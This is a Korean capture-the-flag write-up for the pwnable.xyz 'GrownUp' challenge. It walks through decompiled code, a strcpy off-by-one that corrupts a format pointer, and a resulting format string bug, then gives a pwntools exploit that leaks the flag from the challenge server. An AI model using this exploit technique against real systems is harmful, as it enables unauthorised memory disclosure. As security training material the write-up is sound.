[pwnable.xyz]GrownUp
setup함수는 설정해주는데 format_ptr로 format들 주소 가르키고 있다.
unsigned int setup()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
signal(14, handler);
format_ptr = &format1;
format1 = '%';
format2 = 's';
format3 = '\n';
return alarm(60u);
}
메인은 간단하다. buf가 y인지 입력받고 read로 128바이트 입력받고 strcpy로 usr라는 bss영역에 값을 넣어준다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *src; // ST08_8
__int64 buf; // [rsp+10h] [rbp-20h]
__int64 v6; // [rsp+18h] [rbp-18h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup();
buf = 0LL;
v6 = 0LL;
printf("Are you 18 years or older? [y/N]: ", argv);
*(&buf + (read(0, &buf, 16uLL) - 1)) = 0;
if ( buf != 'y' && buf != 'Y' )
return 0;
src = malloc(132uLL);
printf("Name: ", &buf);
read(0, src, 128uLL);
strcpy(usr, src);
printf("Welcome ", src);
printf(format_ptr, usr); // %s
return 0;
}
strcpy할때 \0이 붙어서 1바이트 추가되는 것을 이용하면 된다. read할 때 128만큼 채워주면 뒤에 1바이트 \0이 붙는다. 그거 이용하면 된다. 그러면 format_ptr에서 0x0000000000601160에서 1바이트 더 써지니까 0x0000000000601100이 된다. 그래서 포인터가 0x0000000000601100 주소 가르키니까 포맷스트링이 깨진다. 여기서 FSB이용해서 풀면 된다.
[y/N] 입력받을 때 16만큼 입력받으니까 앞에 y로 맞춰서 return 0 안되도록 하고 data영역에 있는 flag주소를 넣어서 스택에 값을 써준다. 그리고 fsb로 %p로 flag 주소를 찾은 다음에 %s로 출력해주면 된다.
exploit.py
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
e = ELF('./GrownUpRedist')
#p = process('./GrownUpRedist')
p = remote('svc.pwnable.xyz',30004)
flag= 0x0000000000601080
p.sendafter(':','Y'*8 + p64(flag))
payload = 'AAAAAAAA'
payload += '%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %s'
payload += 'A' * (0x80 - len(payload))
# print len(payload)
p.sendlineafter(':',payload)
p.interactive()